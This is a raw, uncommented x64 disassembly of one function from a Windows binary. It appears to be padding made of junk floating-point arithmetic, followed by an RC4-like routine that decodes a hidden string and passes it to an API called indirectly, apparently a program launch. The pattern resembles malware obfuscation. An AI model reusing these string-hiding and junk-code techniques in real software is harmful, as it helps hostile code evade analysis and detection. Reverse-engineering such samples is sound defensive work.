mov qword [rbp + 0x570], rdi
movabs rdi, 0x40d7670000000000
mov qword [rbp + 0x568], rdi
movabs rdi, 0x40d2b90000000000
mov qword [rbp + 0x560], rdi
movabs rdi, 0x40cc160000000000
mov qword [rbp + 0x548], rdi
movabs rdi, 0x40c2ba0000000000
mov qword [rbp + 0x538], rdi
movabs rdi, 0x40b2bc0000000000
mov qword [rbp + 0x530], rdi
movsd xmm0, qword [rbp + 0x530]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
movsd xmm0, qword [rbp + 0x530]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x530]
addsd xmm0, qword [rbp + 0x538]
movsd qword [rbp + 0x538], xmm0
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x548]
mulsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x548]
ucomisd xmm1, xmm0
jbe 0x14012fc3b
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x530]
mulsd xmm1, xmm0
movsd qword [rbp + 0x530], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x538]
subsd xmm1, xmm0
movsd qword [rbp + 0x538], xmm1
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
jmp 0x14012fee6
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x530]
mulsd xmm1, xmm0
movsd qword [rbp + 0x530], xmm1
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x548]
divsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x530]
subsd xmm1, xmm0
movsd qword [rbp + 0x530], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x530]
divsd xmm1, xmm0
movsd qword [rbp + 0x530], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x538]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x568]
divsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x538]
movsd qword [rbp + 0x538], xmm0
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x530]
mulsd xmm1, xmm0
movsd qword [rbp + 0x530], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x530]
ucomisd xmm0, xmm1
movsd xmm0, qword [rbp + 0x560]
jbe 0x14012fe46
movsd xmm1, qword [rbp + 0x568]
divsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x548]
divsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x530]
mulsd xmm1, xmm0
movsd qword [rbp + 0x530], xmm1
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x538]
subsd xmm1, xmm0
movsd qword [rbp + 0x538], xmm1
movsd xmm0, qword [rbp + 0x560]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x538]
subsd xmm1, xmm0
movsd qword [rbp + 0x538], xmm1
jmp 0x14012fee6
movsd xmm1, qword [rbp + 0x570]
mulsd xmm0, xmm1
movsd qword [rbp + 0x570], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x538]
divsd xmm1, xmm0
movsd qword [rbp + 0x538], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x560]
divsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x538]
mulsd xmm1, xmm0
movsd qword [rbp + 0x538], xmm1
movsd xmm0, qword [rbp + 0x530]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movzx r14d, r11b
movzx r11d, byte [rbp + r14 + 0x410]
add dl, 2
add cl, byte [rbp + r8 + 0x410]
movzx ecx, cl
movzx r8d, byte [rbp + rcx + 0x410]
mov byte [rbp + r14 + 0x410], r8b
movzx r8d, r9b
movzx r9d, byte [rbp + r8 + 0x410]
mov byte [rbp + rcx + 0x410], r9b
movzx edx, dl
movzx r9d, byte [rbp + rdx + 0x410]
mov byte [rbp + r8 + 0x410], r9b
mov byte [rbp + rdx + 0x410], r11b
shl sil, 4
add sil, 0xd0
add bl, 0xf5
or bl, sil
movzx ecx, byte [rbp + rcx + 0x410]
add cl, r11b
movzx ecx, cl
xor bl, byte [rbp + rcx + 0x410]
movzx ecx, byte [rbp + r14 + 0x410]
add cl, byte [rbp + r8 + 0x410]
add al, byte [rbp + r11 + 0x410]
movzx eax, al
add cl, byte [rbp + rax + 0x410]
movzx eax, cl
movzx eax, byte [rbp + rax + 0x410]
xor bl, byte [rbp + rax + 0x410]
movsx eax, bl
dec r10d
mov word [rbp + r10*2 + 0x510], ax
mov word [rbp + 0x51a], 0
mov rsi, qword [rbp + 0x3e8]
lea rcx, [rbp + 0x540]
mov rdx, r12
call fcn.140422240
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x510]
lea r8, [rbp - 0x50]
xor ecx, ecx
mov r9, rax
call rsi
mov rdi, rax
lea rcx, [rbp + 0x1c0]
mov r8d, 0x208
xor edx, edx
call fcn.1404a3cc0
cmp edi, 0x21
setge dil
jl 0x140130017
mov rcx, qword [r12 + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x540]
call fcn.1404221e0
mov eax, edi
movaps xmm6, xmmword [rbp + 0x580]
movaps xmm7, xmmword [rbp + 0x590]
movaps xmm8, xmmword [rbp + 0x5a0]
movaps xmm9, xmmword [rbp + 0x5b0]
add rsp, 0x648
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret